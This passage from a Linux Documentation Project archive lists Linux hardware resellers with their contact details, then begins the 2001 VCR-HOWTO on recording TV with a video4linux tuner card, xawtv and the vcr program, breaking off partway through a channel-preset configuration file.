886-2-27468790

Contact Email Address:

info@whinstone.com

Company URL:

http://www.whinstone.com

Primary Contact:

Anthony Hsia


Linux VAR HOWTO: VAR ID: Turkey, Gelecek Bilisim ve Iletisim A.S

 Next Previous Contents

37. VAR ID: Turkey, Gelecek Bilisim ve Iletisim A.S

Perpa Ticaret Merkezi B Blok
Kat 11 No:1932
Istanbul, NON United States

Turkey

Platform: x86

Distribution: Caldera Debian RedHat Suse

Company Phone Number:

+90 212 2107194

Company Fax:

+90 312 2100442

Contact Email Address:

info@gelecek.com.tr

Company URL:

http://www.gelecek.com.tr

Primary Contact:

Gorkem Cetin


Linux VAR HOWTO: VAR ID: US, AZ, Sunset Systems

 Next Previous Contents

38. VAR ID: US, AZ, Sunset Systems

1328 East Barbarita Avenue

Gilbert, AZ 85234

US

Platform: x86

Distribution: RedHat

Company Phone Number:

602-770-3161

Company Fax:

480-497-8012

Contact Email Address:

sales@sunsetsystems.com

Company URL:

http://www.sunsetsystems.com

Primary Contact:

Rod Roark


Linux VAR HOWTO: VAR ID: US, CA, ASL Workstations, Inc.

 Next Previous Contents

39. VAR ID: US, CA, ASL Workstations, Inc.

1757 Houret Court

Milpitas, CA 95035

US

Platform: x86

Distribution: Caldera RedHat Suse

Company Phone Number:

877 ASL 3535

Company Fax:

408 941 2071

Contact Email Address:

sales@aslab.com

Company URL:

http://www.aslab.com

Primary Contact:

Jim Truong


Linux VAR HOWTO: VAR ID: US, CA, Linux Laptops Ltd.

 Next Previous Contents

40. VAR ID: US, CA, Linux Laptops Ltd.

3583 Lynx Dr.
San Jose, CA 95136

US

Platform: x86

Distribution: Debian

Company Phone Number:

+1 888 546-8958

Company Fax:

+1 408 269 9872

Contact Email Address:

info@linuxlaptops.com

Company URL:

http://www.linuxlaptops.com

Primary Contact:

Nathan Myers


Linux VAR HOWTO: VAR ID: US, CA, PSSC Labs

 Next Previous Contents

41. VAR ID: US, CA, PSSC Labs

27601 Forbes Rd Ste# 59

Laguna Niguel, CA 92677

US

Platform: x86 AXP

Distribution: Caldera RedHat

Company Phone Number:

949-582-7088

Company Fax:

949-582-7093

Contact Email Address:

4sales@pssclabs.com

Company URL:

http://www.pssclabs.com

Primary Contact:

Jason Smith


Linux VAR HOWTO: VAR ID: US, CO, Apache Digital Corporation

 Next Previous Contents

42. VAR ID: US, CO, Apache Digital Corporation

777 Main Avenue
#211
Durango, CO 81301

US

Platform: x86 AXP

Distribution: Caldera Debian RedHat Suse

Company Phone Number:

970-259-8153

Company Fax:

970-259-8145

Contact Email Address:

info@apache.com

Company URL:

http://www.apache.com

Primary Contact:

Steve Hauquitz


Linux VAR HOWTO: VAR ID: US, CT, GNUTEC

 Next Previous Contents

43. VAR ID: US, CT, GNUTEC

1655 North Colony Road, Suite 3002

Meriden, CT 06450

US

Platform: x86 AXP Sparc PPC ARM M68k

Distribution: Caldera Debian RedHat Suse LinuxPPC LinuxRouter UltraPenguin

Company Phone Number:

1-203-379-0125

Company Fax:

1-203-379-0126

Contact Email Address:

info@gnutec.com

Company URL:

http://www.gnutec.com

Primary Contact:

Kyle Amon


Linux VAR HOWTO: VAR ID: US, FL, eBuilders Network

 Next Previous Contents

44. VAR ID: US, FL, eBuilders Network

8204 Crystal Clear Lane
Suite 1200
Orlando, FL 32809

US

Platform: x86

Distribution: Caldera RedHat

Company Phone Number:

407-857-6800

Company Fax:

407-857-2333

Contact Email Address:

pablo@ebuildernet.com

Company URL:

http://www.ebuildernet.com

Primary Contact:

Pablo Bryan


Linux VAR HOWTO: VAR ID: US, IL, Advanced Horizons, Inc

 Next Previous Contents

45. VAR ID: US, IL, Advanced Horizons, Inc

323 Ferndale Ave

Elmhurst, IL

US

Platform: x86

Distribution: Suse

Company Phone Number:

630-941-9332

Company Fax:

630-941-9338

Contact Email Address:

roger@ahinc.com

Company URL:

http://www.ahinc.com

Primary Contact:

Roger Petersen


Linux VAR HOWTO: VAR ID: US, IL, QLITech Linux COmputers

 Next Previous Contents

46. VAR ID: US, IL, QLITech Linux COmputers

3717 43rd st SUite #112

Moline, IL 61265

US

Platform: x86

Distribution: Caldera Debian RedHat

Company Phone Number:

1-877-24-linux

Company Fax:

Contact Email Address:

sales@qlitech.net

Company URL:

http://www.qlitech.net

Primary Contact:

Ray Sanders


Linux VAR HOWTO: VAR ID: US, IL, QLITech Linux Computers

 Next Previous Contents

47. VAR ID: US, IL, QLITech Linux Computers

3717 43rd st. Suite #112

Moline, IL 61265

US

Platform: x86

Distribution: Caldera Debian RedHat Suse

Company Phone Number:

1-877-24-LINUX

Company Fax:

1-309-764-1142

Contact Email Address:

sales@qlitech.net

Company URL:

http://www.qlitech.net

Primary Contact:

Ray Sanders


Linux VAR HOWTO: VAR ID: US, IL, WellThot Inc.

 Next Previous Contents

48. VAR ID: US, IL, WellThot Inc.

305 Van Damin Ave.

Glen Ellyn, IL 60137-5215

US

Platform: x86

Distribution: RedHat LinuxRouter

Company Phone Number:

630-545-1470

Company Fax:

630-545-1471

Contact Email Address:

sales@wellthot.com

Company URL:

http://wellthot.com

Primary Contact:

Mark Schwenk


Linux VAR HOWTO: VAR ID: US, KY, IndyBox Systems, Inc.

 Next Previous Contents

49. VAR ID: US, KY, IndyBox Systems, Inc.

PO Box 3564

Carmel, KY 46082-3564

US

Platform: x86 AXP Sparc PPC ARM M68k

Distribution: Caldera Debian RedHat Suse LinuxPPC LinuxRouter UltraPenguin

Company Phone Number:

+01 (317) 846.9762

Company Fax:

Contact Email Address:

info@indybox.com

Company URL:

http://www.indybox.com

Primary Contact:

Charles Martin


Linux VAR HOWTO: VAR ID: US, KY, Neville Technologies

 Next Previous Contents

50. VAR ID: US, KY, Neville Technologies

4240 Frankfort Road

Shelbyville, KY 40065

US

Platform: x86

Distribution: RedHat

Company Phone Number:

502-633-3711

Company Fax:

502-633-7950

Contact Email Address:

info@neville.net

Company URL:

http://www.neville.net

Primary Contact:

Chuck Neville


Linux VAR HOWTO: VAR ID: US, MA, Network Concierge Inc.

 Next Previous Contents

51. VAR ID: US, MA, Network Concierge Inc.

350 Pleasant St.

Ashland, MA 01721

US

Platform: x86

Distribution:

Company Phone Number:

1- 877- 876-1169

Company Fax:

1-508-881-7374

Contact Email Address:

sales@nc4u.com

Company URL:

http://www.nc4u.com

Primary Contact:

Leonardo Salazar Sr.


Linux VAR HOWTO: VAR ID: US, MD, AmNet Computers

 Next Previous Contents

52. VAR ID: US, MD, AmNet Computers

3618 Anne Hasthaway
Suite 1B
Randallstown, MD 21133

US

Platform: x86 AXP

Distribution: RedHat

Company Phone Number:

1 410 922-3554

Company Fax:

1 410 922-3552

Contact Email Address:

amnet@amnet-comp.com

Company URL:

http://amnet-comp.com

Primary Contact:

Joseph Volodarsky


Linux VAR HOWTO: VAR ID: US, MN, Cranston Software

 Next Previous Contents

53. VAR ID: US, MN, Cranston Software

3255 Hennepin Av.S.

Minneapolis, MN 55408

US

Platform: x86

Distribution: Debian

Company Phone Number:

612

Company Fax:

378-9052

Contact Email Address:

sales@cranston.com

Company URL:

http://cranston.com

Primary Contact:

M.A. al-Kabir


Linux VAR HOWTO: VAR ID: US, MN, Donnal Group Inc

 Next Previous Contents

54. VAR ID: US, MN, Donnal Group Inc

19820 Cottagewood Road

Excelsior, MN 55331

US

Platform: x86

Distribution: Caldera

Company Phone Number:

612-474-7785

Company Fax:

612-474-7793

Contact Email Address:

info@donnalgroup.com

Company URL:

http://www.donnalgroup.com

Primary Contact:

Tim Burke


Linux VAR HOWTO: VAR ID: US, MO, Atipa Linux Solutions

 Next Previous Contents

55. VAR ID: US, MO, Atipa Linux Solutions

2608 S. Main

Joplin, MO 64804

US

Platform: x86

Distribution: Caldera RedHat

Company Phone Number:

(800) 360-4346

Company Fax:

(417) 626-2692

Contact Email Address:

info@atipa.com

Company URL:

http://www.atipa.com

Primary Contact:

Brandon Fuhr


Linux VAR HOWTO: VAR ID: US, MO, Omnitec Corporatin

 Next Previous Contents

56. VAR ID: US, MO, Omnitec Corporatin

PO Box 411010

St. Louis, MO 63141

US

Platform: x86

Distribution: Debian RedHat Suse LinuxRouter

Company Phone Number:

3149974600

Company Fax:

3149970153

Contact Email Address:

info@omnitec.net

Company URL:

http://www.omnitec.net

Primary Contact:

Lee Lammert


Linux VAR HOWTO: VAR ID: US, NC, ApeX Systems Integration Corp.

 Next Previous Contents

57. VAR ID: US, NC, ApeX Systems Integration Corp.

PO Box 338

Apex, NC 27502

US

Platform: x86

Distribution: RedHat Suse

Company Phone Number:

919-468-8150

Company Fax:

919-468-5288

Contact Email Address:

apex@2boot.com

Company URL:

http://www.2boot.com

Primary Contact:

Joe Ferguson


Linux VAR HOWTO: VAR ID: US, NC, ComputerNet Inc.

 Next Previous Contents

58. VAR ID: US, NC, ComputerNet Inc.

8320 Univ Exec PK Dr
Suite 105
Charlotte, NC 28262

US

Platform: x86

Distribution: RedHat

Company Phone Number:

704-510-5292

Company Fax:

704-510-5296

Contact Email Address:

kbrust@computernetinc.com

Company URL:

http://http://www.computernetinc.com

Primary Contact:

Kurt Brust


Linux VAR HOWTO: VAR ID: US, NC, Indelible Blue

 Next Previous Contents

59. VAR ID: US, NC, Indelible Blue

3209 Gresham Lake Road
Suite 135
Raleigh, NC 27615

US

Platform: x86

Distribution: Caldera Debian RedHat Suse LinuxRouter

Company Phone Number:

1.919.878.9700 or 1.800.776.8284

Company Fax:

1.919.878.7479

Contact Email Address:

sales@indelible-blue.com

Company URL:

http://www.indelible-blue.com

Primary Contact:

Mark Turner


Linux VAR HOWTO: VAR ID: US, NE, BrainStorm Technologies

 Next Previous Contents

60. VAR ID: US, NE, BrainStorm Technologies

1525 GrandView Ste#1

Papillion, NE

US

Platform: x86 AXP PPC

Distribution: RedHat

Company Phone Number:

1-800-598-6732

Company Fax:

1-800-598-6732

Contact Email Address:

info@bstc.net

Company URL:

http://www.bstc.net

Primary Contact:

Brian Roberson


Linux VAR HOWTO: VAR ID: US, NE, BrainStorm Technologies

 Next Previous Contents

61. VAR ID: US, NE, BrainStorm Technologies

1525 GrandView Ste#1

Papillion, NE

US

Platform: x86 AXP PPC

Distribution: RedHat

Company Phone Number:

1-800-598-6732

Company Fax:

1-800-598-6732

Contact Email Address:

info@bstc.net

Company URL:

http://www.bstc.net

Primary Contact:

Brian Roberson


Linux VAR HOWTO: VAR ID: US, NH, DCG Computers, Inc.

 Next Previous Contents

62. VAR ID: US, NH, DCG Computers, Inc.

4 Sanborn Rd., # 2

Londonderry, NH 03053

US

Platform: x86 AXP Sparc

Distribution: Caldera Debian RedHat Suse

Company Phone Number:

+1-603-421-1800

Company Fax:

+1-603-421-0911

Contact Email Address:

sjg@dcginc.com

Company URL:

http://www.dcginc.com

Primary Contact:

Stephen Gaudet


Linux VAR HOWTO: VAR ID: US, NON United States, Microway

 Next Previous Contents

63. VAR ID: US, NON United States, Microway

Research Park
Box 79
Kingston Ma, NON United States 02364

US

Platform: AXP

Distribution: RedHat

Company Phone Number:

508-746-7341

Company Fax:

508-746-4678

Contact Email Address:

info@microway.com

Company URL:

http://www.microway.com

Primary Contact:

Ann Fried


Linux VAR HOWTO: VAR ID: US, NON United States, Telenet System Solutions, Inc.

 Next Previous Contents

64. VAR ID: US, NON United States, Telenet System Solutions, Inc.

2480 Kruse Drive

San Jose, NON United States

US

Platform: x86

Distribution: RedHat

Company Phone Number:

1-877-BootLinux

Company Fax:

408-383-0334

Contact Email Address:

linux@tesys.com

Company URL:

http://www.tesys.com

Primary Contact:

Kamal Singh


Linux VAR HOWTO: VAR ID: US, NY, Logicept Corporation

 Next Previous Contents

65. VAR ID: US, NY, Logicept Corporation

41 Chenango Street, Suite 201

Binghamton, NY 13901-2901

US

Platform: x86

Distribution: RedHat

Company Phone Number:

888.875.1355

Company Fax:

Contact Email Address:

info@logicept.com

Company URL:

http://www.logicept.com

Primary Contact:

Jaron Rubenstein


Linux VAR HOWTO: VAR ID: US, OH, 800Linux

 Next Previous Contents

66. VAR ID: US, OH, 800Linux

1357 W. Lane Ave suite 211

Columbus, OH 43221

US

Platform: x86

Distribution: RedHat

Company Phone Number:

614-324-1610

Company Fax:

614-324-1617

Contact Email Address:

sales@gtltd.com

Company URL:

http://800linux.com

Primary Contact:


Linux VAR HOWTO: VAR ID: US, OH, LANshark Systems, Inc.

 Next Previous Contents

67. VAR ID: US, OH, LANshark Systems, Inc.

784 Morrison Road

Columbus, OH 43230

US

Platform: x86

Distribution: Caldera Debian RedHat Suse

Company Phone Number:

614-751-1111

Company Fax:

614-751-1112

Contact Email Address:

info@lanshark.com

Company URL:

http://linux.lanshark.com

Primary Contact:

Scott Sharkey


Linux VAR HOWTO: VAR ID: US, OH, The Computer Underground

 Next Previous Contents

68. VAR ID: US, OH, The Computer Underground

1357 West Lane Ave suite 210

Columbus, OH

US

Platform: x86

Distribution: Caldera Debian RedHat Suse

Company Phone Number:

614-485-0506

Company Fax:

Contact Email Address:

sales@tcu-inc.com

Company URL:

http://www.tcu-inc.com

Primary Contact:

Mark Nielsen


Linux VAR HOWTO: VAR ID: US, OH, Unique Systems, Inc.

 Next Previous Contents

69. VAR ID: US, OH, Unique Systems, Inc.

6920 Spring Valley Dr.
Suite 106
Holland, OH 43528

US

Platform: x86 AXP

Distribution: Caldera RedHat Suse

Company Phone Number:

419 861-3331

Company Fax:

419 861-3340

Contact Email Address:

info@uniqsys.com

Company URL:

http://www.uniqsys.com

Primary Contact:

Glenn Jacobson


Linux VAR HOWTO: VAR ID: US, OR, 3D Technology, Inc.

 Next Previous Contents

70. VAR ID: US, OR, 3D Technology, Inc.

9150 SW Pioneer Ct.,
Suite E
Wilsonville , OR 97070

US

Platform: x86

Distribution: Caldera RedHat

Company Phone Number:

1-503-582-1190

Company Fax:

1-503-582-9102

Contact Email Address:

netsales@3dtech.net

Company URL:

http://www.3dtech.net

Primary Contact:

Kerry Lafferty


Linux VAR HOWTO: VAR ID: US, PR, OG Consulting

 Next Previous Contents

71. VAR ID: US, PR, OG Consulting

Urb. Santa Clara
W-1 Anamu
Guaynabo, PR 00969

US

Platform: x86

Distribution: Caldera RedHat

Company Phone Number:

787-731-4332

Company Fax:

787-731-4331

Contact Email Address:

james@og-consulting.com

Company URL:

http://www.og-consulting.com

Primary Contact:

James O'Malley


Linux VAR HOWTO: VAR ID: US, TX, Computer Innovations International

 Next Previous Contents

72. VAR ID: US, TX, Computer Innovations International

2145 NW Military Highway, Suite 103

San Antonio, TX 78213

US

Platform: x86 AXP Sparc

Distribution: Caldera RedHat Suse LinuxRouter

Company Phone Number:

210-348-0850

Company Fax:

210-348-0851

Contact Email Address:

wvega@txcii.com

Company URL:

http://www.txcii.com

Primary Contact:

Waldemar Vega


Linux VAR HOWTO: VAR ID: US, TX, Heights Open Systems

 Next Previous Contents

73. VAR ID: US, TX, Heights Open Systems

517 Harvard

Houston, TX 77007

US

Platform: x86 AXP

Distribution: Debian RedHat LinuxRouter

Company Phone Number:

713-864-5676

Company Fax:

713-864-5676

Contact Email Address:

perry@open-systems.com

Company URL:

http://www.open-systems.com

Primary Contact:

Perry Piplani


Linux VAR HOWTO: VAR ID: US, TX, Parachute

 Next Previous Contents

74. VAR ID: US, TX, Parachute

3500 Oakmont
Suite 101
Austin, TX 78731

US

Platform: x86

Distribution: RedHat LinuxRouter

Company Phone Number:

(512)374-1898

Company Fax:

(512)374-9753

Contact Email Address:

kjones@parachute.com

Company URL:

http://www.parachute.com

Primary Contact:

Kristian Jones


Linux VAR HOWTO: VAR ID: US, VA, NetSource of Virginia, Inc.

 Next Previous Contents

75. VAR ID: US, VA, NetSource of Virginia, Inc.

7639 Hull Street Rd.
Suite 202
Richmond, VA 23235-6438

US

Platform: x86

Distribution: RedHat

Company Phone Number:

1-804-674-6040

Company Fax:

1-804-674-6041

Contact Email Address:

netsource@erols.com

Company URL:

http://www.erols.com/netsource

Primary Contact:

Jeff Davis


Linux VAR HOWTO: VAR ID: US, WA, Cheek Consulting

 Next Previous Contents

76. VAR ID: US, WA, Cheek Consulting

620 5th Ave W
Suite 309
Seattle, WA 98119

US

Platform: x86

Distribution: Caldera

Company Phone Number:

+1 (206) 282-2892

Company Fax:

+1 (206) 727-6797

Contact Email Address:

joseph@cheek.com

Company URL:

http://www.cheek.com

Primary Contact:

Joseph Cheek


Linux VAR HOWTO: VAR ID: US, WA, Lodgepole Technology

 Next Previous Contents

77. VAR ID: US, WA, Lodgepole Technology

14578 NE 177th Drive
n/a
Redmond, WA 98072

US

Platform: AXP

Distribution: RedHat

Company Phone Number:

1(425)867-9091

Company Fax:

1(425)558-5752

Contact Email Address:

info@lodgepole.com

Company URL:

http://www.lodgepole.com

Primary Contact:

Geordy Rostad


Linux VAR HOWTO: VAR ID: United Arab Emirates, JM Infotech Solutions STPI

 Next Previous Contents

78. VAR ID: United Arab Emirates, JM Infotech Solutions STPI

P.O. Box 692
AL MOTAMEM
Karama, NON United States 692

United Arab Emirates

Platform: x86

Distribution: RedHat

Company Phone Number:

971 50 6326822

Company Fax:

971 4 359295

Contact Email Address:

mammen@emirates.net.ae

Company URL:

http://linuxsolutions.hypermart.net

Primary Contact:

John Mammen


Linux VAR HOWTO: VAR ID: United Kingdom, DGC-NMS

 Next Previous Contents

79. VAR ID: United Kingdom, DGC-NMS

7 Owen Road
Rainhill, Prescot
Merseyside, NON United States L35 0PJ

United Kingdom

Platform: x86 AXP Sparc PPC M68k

Distribution: Caldera Debian RedHat Suse LinuxPPC

Company Phone Number:

+44 151 289 9250

Company Fax:

+44 151 289 7895

Contact Email Address:

rich@dgc-nms.co.uk

Company URL:

http://www.dgc-nms.co.uk

Primary Contact:

Richard Bradshaw


Linux VAR HOWTO: VAR ID: United Kingdom, Definite Linux Systems Ltd

 Next Previous Contents

80. VAR ID: United Kingdom, Definite Linux Systems Ltd

264 Ripon Road

Stevenage, NON United States SG1 4NF

United Kingdom

Platform: x86

Distribution: Caldera Debian RedHat Suse LinuxRouter

Company Phone Number:

+44 1438 223433

Company Fax:

Contact Email Address:

sales@definitelinux.com

Company URL:

http://www.definitelinux.com

Primary Contact:

Jason Clifford


Linux VAR HOWTO: VAR ID: United Kingdom, Digital Networks

 Next Previous Contents

81. VAR ID: United Kingdom, Digital Networks

Unit 12, New Mill
Park Road, Dukinfield
Cheshire, NON United States SK16 5LX

United Kingdom

Platform: x86

Distribution: Caldera RedHat Suse

Company Phone Number:

44 161 339 8555

Company Fax:

44 161 339 8666

Contact Email Address:

info@dnuk.com

Company URL:

http://dnuk.com

Primary Contact:

Lee Chisnall


Linux VAR HOWTO: VAR ID: United Kingdom, iCode Systems Ltd

 Next Previous Contents

82. VAR ID: United Kingdom, iCode Systems Ltd

Consort Court
High Street
Fareham, NON United States PO16 7AL

United Kingdom

Platform: x86

Distribution: Caldera Debian RedHat Suse

Company Phone Number:

+44 1329 829898

Company Fax:

+44 1329 829899

Contact Email Address:

linux@icode.co.uk

Company URL:

http://www.icode.co.uk

Primary Contact:

Darren Durbin


VCR-HOWTO - Using your GNU/Linux computer as a VCR

Brian Hayward, twivel@slothmud.org

0.04, 2001-07-30

This is a guide to setting up your GNU/Linux workstation as a digital VCR using the video4linux driver and a supported tuner card. A section has been added for creating VCD's that can be played in any DVD/VCD player as well.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer
  • 1.3 News
  • 1.4 Credits
  • 1.5 Translations

2. Technologies

  • 2.1 Tuner or Capture Card
  • 2.2 Kernel video4linux driver
  • 2.3 Frame Capture Software

3. Implementation

  • 3.1 Install and Configure Tuner Card
  • 3.2 Configure xawtv to function properly.
  • 3.3 Install the avifile library
  • 3.4 Installing the VCR frame-grabber program
  • 3.5 Using cron to record your favorite program.

4. Alternate Recorder - Creating VCD's for playback on DVD/VCD Players

  • 4.1 Introduction to VCD Creation
  • 4.2 Required Hardware for VCD Creation and Playing
  • 4.3 Required Software for VCD Creation
  • 4.4 Procedure for creating a VCD

5. Further Information

  • 5.1 MyVCR Wrapper Program proposal
  • 5.2 Alternate Recorders
  • 5.3 Recording Results
  • 5.4 Other Suggested Ideas

6. Getting Help

7. Concluding Remarks

8. Questions and Answers


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Introduction

 Next Previous Contents

1. Introduction

This is a guide to setting up your GNU/Linux computer as a VCR. Setting up my VCR took a little research, but it didn't turn out to be as difficult as I thought. I decided to publish my results so others may benefit from what I've done. This is by no means the only method to achieve the same results as there are several applications out there that may perform similar tasks. Hopefully any unique procedures for configuring other software or devices may be incorporated into this document.

1.1 Copyright

Copyright (c) 2001 by Brian Hayward (Twivel)

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  • Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.
  • License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.
  • Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

1.2 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3 News

This is the first release. No news yet.

The latest version of this document can be found at Here.

1.4 Credits

The following individuals either helped me directly or indirectly during the process of developing this HOWTO. Several tips that were suggested by these people have not been added to this document yet, don't worry - all in good time.

david (at) lupercalia.net -- For talking me into learning SGML
sjgoen (at) nyx.net -- The template for this HOWTO
knordberg (at) oru.edu -- Help with design and proof reading of this HOWTO
serge (at) tux.org -- Lots of Tips for expanding the document
gferg (at) hoop.timonium.sgi.com -- Help with SGML
remenyi (at) ace-net.com.au -- Suggestions for expanding this document
nando (at) antunes.eti.br -- Working on Portuguese Translation.
linuxpe (at) uol.com.br -- Working on Portuguese Translation.
sam (at) daemoninc.com -- Tips for expanding this document.
HeikoL77 (at) web.de -- Links to more information.
Henry.Kingman (at) zdnet.com -- Links to more information on supported video cards.
aoe (at) mars.tuwien.ac.at -- Alexander provided the section on creating VCD's.

1.5 Translations

Marcio Montenegro was kind enough to translate this document to Portuguese. His translation is available at this site. Feel free to translate this document to other languages. If you send me a link, I will credit you and include it in this document. Please note that for it to be included in the Linux Documentation Project, you will have to provide it in sgml format.


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Technologies

 Next Previous Contents

2. Technologies

This section describes the different technologies used to build your own Linux VCR.

2.1 Tuner or Capture Card

You will need to install a supported video4linux capture card in your computer. I currently use the Hauppauge WinTV tuner card which I purchased from Best Buy, but many other cards should work just as well. I don't have a suggestion for which is best, I can only comment that the one I own works for me.

2.2 Kernel video4linux driver

Many GNU/Linux distributions already provide a Linux kernel that is configured to support video4linux devices. The Hauppauge WinTV card is supported by the 'bttv' driver. I have to load two modules into the linux kernel to support my card, namely the 'tuner' and 'bttv' modules. Check out the V4L homepage for details on supported tuner cards. Also check out ZDnet Linux Hardware for information about Linux tuner cards.

2.3 Frame Capture Software

Recording with your digital VCR of course requires frame capture software. As I become aware of available software for capturing audio/video to mpeg/avi formats, I will place it in this list. If you have any suggestions for good software please let me know and I'll add it here.


VCR-HOWTO - Using your GNU/Linux computer as a VCR: Implementation

 Next Previous Contents

3. Implementation

Now lets go through the steps of actually configuring your computer as a VCR.

3.1 Install and Configure Tuner Card

My particular tuner card required special parameters to the 'tuner' and 'bttv' modules because it was an older model and wasn't properly auto-detected. If you can watch TV through your card via xawtv, then you have correctly configured your card. Here are the configuration lines from my /etc/modules.conf (or /etc/conf.modules for older distributions).

options -k bttv radio=1 card=2
options -k tuner debug=0 type=6
These parameters will vary depending on the model of your card, see the documentation found in the linux source (linux/Documentation/video4linux) to figure out exactly how to configure your card. I added these modules to /etc/modules so they would automatically load on bootup. You can also manually load them with 'modprobe modulename' as root. I'm currently using the 2.4.2 kernel, but I have had success with this card with all of the 2.2.x kernels as well. Hint: the user may need to have ownership of the /dev/video /dev/video0 files (and maybe other devices as well) before the tuner card will function. As always, I suggest not running any apps as root.

3.2 Configure xawtv to function properly.

You can either use xawtv from a reasonably current distribution, or download the source code from the xawtv Homepage Make sure xawtv functions for your tuner card before proceeding.

Sample .xawtv configuration file.

Here is a sample ".xawtv" configuration file. This should be placed within the home directory for the user who will be doing the VCR recording. I suggest adding presets to your .xawtv file for all channels(0-NNN) (even non-existing ones) because you will use the "v4lctl" command to switch channels later. This command makes use of 'preset number' rather than 'channel number', so it's convenient to have preset numbers be the same as actual channel numbers. The following configuration file was designed for US-cable, your mileage may vary.

[global]
freqtab = us-cable
pixsize = 128 x 96
pixcols = 1
jpeg-quality = 75
mjpeg-quality = 75
toggle-mouse = 0
keypad-ntsc = no
osd = yes

# [Station name]
# capture = overlay | grabdisplay | on | off
# input = Television | Composite1 | S-Video | ...
# norm = PAL | NTSC | SECAM | ...
# channel = #
# fine = # (-128..+127)
# key = keysym | modifier+keysym
# color = #
# bright = #
# hue = #
# contrast = #

[defaults]
norm = NTSC
capture = over
input = Television

[CH0 0]
channel = 0
fine = 0

[CH1 1]
channel = 1
fine = 0

[CH2 2]
channel = 2
fine = 0

[CH3 3]
channel = 3
fine = 0

[CH4 4]
channel = 4
fine = 0

[CH5 5]
channel = 5
fine = 0

[CH6 6]
channel = 6
fine = 0

[CH7 7]
channel = 7
fine = 0

[CH8 8]
channel = 8
fine = 0

[CH9 9]
channel = 9
fine = 0

[CH10 10]
channel = 10
fine = 0

[CH11 11]
channel = 11
fine = 0

[CH12 12]
channel = 12
fine = 0

[CH13 13]
channel = 13
fine = 0

[CH14 14]
channel = 14
fine = 0

[CH15 15]
channel = 15
fine = 0

[CH16 16]
channel = 16
fine = 0

[CH17 17]
channel = 17
fine = 0

[CH18 18]
channel = 18
fine = 0

[CH19 19]
channel = 19
fine = 0

[CH20 20]
channel = 20
fine = 0

[CH21 21]
channel = 21
fine = 0

[CH22 22]
channel = 22
fine = 0

[CH23 23]
channel = 23
fine = 0

[CH24 24]
channel = 24
fine = 0

[CH25 25]
channel = 25
fine = 0

[CH26 26]
channel = 26
fine = 0

[CH27 27]
channel = 27
fine = 0

[CH28 28]
channel = 28
fine = 0

[CH29 29]
channel = 29
fine = 0

[CH30 30]
channel = 30
fine = 0

[CH31 31]
channel = 31
fine = 0

[CH32 32]
channel = 32
fine = 0

[CH33 33]
channel = 33
fine = 0

[CH34 34]
channel = 34
fine = 0

[CH35 35]
channel = 35
fine = 0

[CH36 36]
channel = 36
fine = 0

[CH37 37]
channel = 37
fine = 0

[CH38 38]
channel = 38
fine = 0

[CH39 39]
channel = 39
fine = 0

[CH40 40]
channel = 40
fine = 0

[CH41 41]
channel = 41
fine = 0

[CH42 42]
channel = 42
fine = 0

[CH43 43]
channel = 43
fine = 0

[CH44 44]
channel = 44
fine = 0

[CH45 45]
channel = 45
fine = 0

[CH46 46]
channel = 46
fine = 0

[CH47 47]
channel = 47
fine = 0

[CH48 48]
channel = 48
fine = 0

[CH49 49]
channel = 49
fine = 0

[CH50 50]
channel = 50
fine = 0

[CH51 51]
channel = 51
fine = 0

[CH52 52]
channel = 52
fine = 0

[CH53 53]
channel = 53
fine = 0

[CH54 54]
channel = 54
fine = 0

[CH55 55]
channel = 55
fine = 0

[CH56 56]
channel = 56
fine = 0

[CH57 57]
channel = 57
fine = 0

[CH58 58]
channel = 58
fine = 0

[CH59 59]
channel = 59
fine = 0

3.3 Install the avifile library

Download the latest avifile package from DiVX :-) Homepage. You will need avifile-0.5x and binaries-xxxxxx.zip. You should extract the binaries to /usr/lib/win32. The next section describes compiling and installing avifile-0.53-5.

Compiling and installing avifile-0.53-5

# tar xvfz avifile-0.53-5.tar.gz
# cd avifile-0.53-5
# ./configure
# make
# make install
# mkdir /usr/lib/win32
# cd /usr/lib/win32
# unzip /path/to/binaries-010122.zip
You will need to be root for the make install step to work. If you receive any errors, they were probably due to a missing dependency during the configure step. Resolve any dependencies and try again. This should work smoothly on any recent distribution that was installed with 'development' tools.

3.4 Installing the VCR frame-grabber program

You can get the latest vcr program (vcr-1.07 at the time I wrote this) from The VCR Homepage.

Compiling and installing vcr-1.07

You will need to be root for the make install step to work.

# tar xvfz vcr-1.07.tar.gz
# cd vcr-1.07
# ./configure
# make
# make install

Sample .vcrrc configuration file

By default, vcr installs everything into /usr/local (unless you changed the prefix on the ./configure line). You can now read the man page for vcr with: 'man -M/usr/local/man vcr'. This is where I got the initial .vcrrc file. I configured this one for my needs and added the same presets to this file as I did with the .xawtv file. If you think these files look similar, it's because vcr was originally based on the xawtv code base. Here is the .vcrrc I use: (note that the new 'audiobitrate' parameter means record audio in mp3 format at the specified bitrate. mp3 audio is MUCH! smaller than PCM audio that vcr records by default. 30 minutes = 113 megs for mp3 instead of 240megs for PCM!).

[defaults]
quality = 95
keyframes = 15
codec = DivX ;-) low-motion
attributes = BitRate=1600
source = Television
norm = ntsc
verbose = 1
freqtab = us-cable
audiofrequency=44
audiobitrate=64
resolution=384
framerate = 29.97
grabdevice=/dev/video0

[CH0 0]
channel = 0
fine = 0

[CH1 1]
channel = 1
fine = 0

[CH2 2]
channel = 2
fine = 0

[CH3 3]
channel = 3
fine = 0

[CH4 4]
channel = 4
fine = 0

[CH5 5]
channel = 5
fine = 0

[CH6 6]
channel = 6
fine = 0

[CH7 7]
channel = 7
fine = 0

[CH8 8]
channel = 8
fine = 0

[CH9 9]
channel = 9
fine = 0

[CH10 10]
channel = 10
fine = 0

[CH11 11]
channel = 11
fine = 0

[CH12 12]
channel = 12
fine = 0

[CH13 13]
channel = 13
fine = 0

[CH14 14]
